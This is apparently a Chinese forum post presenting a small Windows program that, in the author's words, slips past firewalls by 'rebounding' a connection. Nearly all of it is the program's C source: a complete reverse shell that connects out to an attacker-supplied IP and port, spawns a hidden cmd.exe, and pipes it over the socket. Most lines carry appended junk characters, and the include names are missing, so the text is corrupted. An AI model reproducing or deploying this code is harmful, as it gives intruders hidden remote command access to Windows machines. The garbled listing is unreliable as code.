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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yq!peFu  
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/* ============================== >^SQrB   
Rebound port in Windows NT ?rziKT5OOC  
By wind,2006/7 ng9 _c  
===============================*/ jI~$iDdOfs  
#include KN&|&51p}  
#include S5r.so  
N*\r i0  
#pragma comment(lib,"wsock32.lib") ilZQ/hOBH  
i-. AD4  
void OutputShell(); h-x~:$Z,  
SOCKET sClient; kOC0d,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5mZwg(si  
Df$~=A}  
void main(int argc,char **argv) `aA)n;{/2u  
{ (M{>9rk8  
WSADATA stWsaData; 3J8M0W   
int nRet; +G+1B6S  
SOCKADDR_IN stSaiClient,stSaiServer; 2*] [M,L0c  
m -0EcA/  
if(argc != 3) UID`3X  
{ jvpv1>KYV  
printf("Useage:\n\rRebound DestIP DestPort\n"); ca5;Z@t$S  
return; tKds|0,j|  
} d(9-T@J  
M.bkFuh  
WSAStartup(MAKEWORD(2,2),&stWsaData); e [6F }."c  
(Ffa{Tt!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;P$ _:-C  
tI5*0  
stSaiClient.sin_family = AF_INET; /82E[P"}6R  
stSaiClient.sin_port = htons(0); C0 /G1\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); BqDsf5}jpA  
0uIBaW3s  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p*Yx1er1  
{ SR_ -wD  
printf("Bind Socket Failed!\n"); d[nz0LI|mk  
return; /c6]DQ<?  
} JY,oXA6O  
qE VpkvEq  
stSaiServer.sin_family = AF_INET; w,_LC)9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "-j96 KD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BuUM~k&SY  
KC%&or  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yU"#2 *C  
{ UMT}2d%  
printf("Connect Error!"); InRcIQT  
return; /LtbmV  
} fI'+4 )@x  
OutputShell(); 3#GIZ L}!x  
} d/awQXKe7  
%(H' j@D[  
void OutputShell() M(uJ'Ud/!  
{ &JD^\+7U:  
char szBuff[1024]; JbMp /  
SECURITY_ATTRIBUTES stSecurityAttributes; 25r3[gX9`  
OSVERSIONINFO stOsversionInfo; > %slzr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?_ v_*+b_  
STARTUPINFO stStartupInfo; mS49l  
char *szShell; :LC3>x`:  
PROCESS_INFORMATION stProcessInformation; 4 Lz[bI  
unsigned long lBytesRead; WP=uHg  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /zr)9LQY0  
P m&^rC;  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I|;C} lfp  
stSecurityAttributes.lpSecurityDescriptor = 0; JNP6qM  
stSecurityAttributes.bInheritHandle = TRUE; I1s$\NZ~]  
dxH.  
sE!g!ht  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {~G~=sC$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D=Yr/qc?  
jE8}Ho_#)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c `.BN(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <AP.m4N) _  
stStartupInfo.wShowWindow = SW_HIDE; 563ExibH  
stStartupInfo.hStdInput = hReadPipe; Der'45]*^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; OI3j!L2f  
a:4!z;2 |  
GetVersionEx(&stOsversionInfo); W1ndb:  
.' h^  
switch(stOsversionInfo.dwPlatformId) $1Wb`$  
{ g`tV^b")  
case 1: .YP&E1lNi  
szShell = "command.com"; P8;1,?ou  
break; ^+k= ;nl  
default: NW*#./WdF8  
szShell = "cmd.exe"; 2]FRIy d  
break; /s+S\ djk  
} @gM}&G08  
2 !9Zw$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T21?~jS  
I[w5V;>*  
send(sClient,szMsg,77,0); xuVc1jJH  
while(1) ^&$86-PB/  
{ 7W5Cm\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {) sE;p-  
if(lBytesRead) IS;[oJef  
{ t~44ub6GN`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DF gM7if  
send(sClient,szBuff,lBytesRead,0); <=w!:   
} Pv3G?u=4  
else Lw1[)Vk}E  
{ 8#o2qQ2+  
lBytesRead=recv(sClient,szBuff,1024,0); wb h=v;  
if(lBytesRead<=0) break; (v? rZv  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q:iu hI$~G  
} BMV\@Sg  
} p{ ``a=  
U;"J8  
return; Pf?15POg&B  
}
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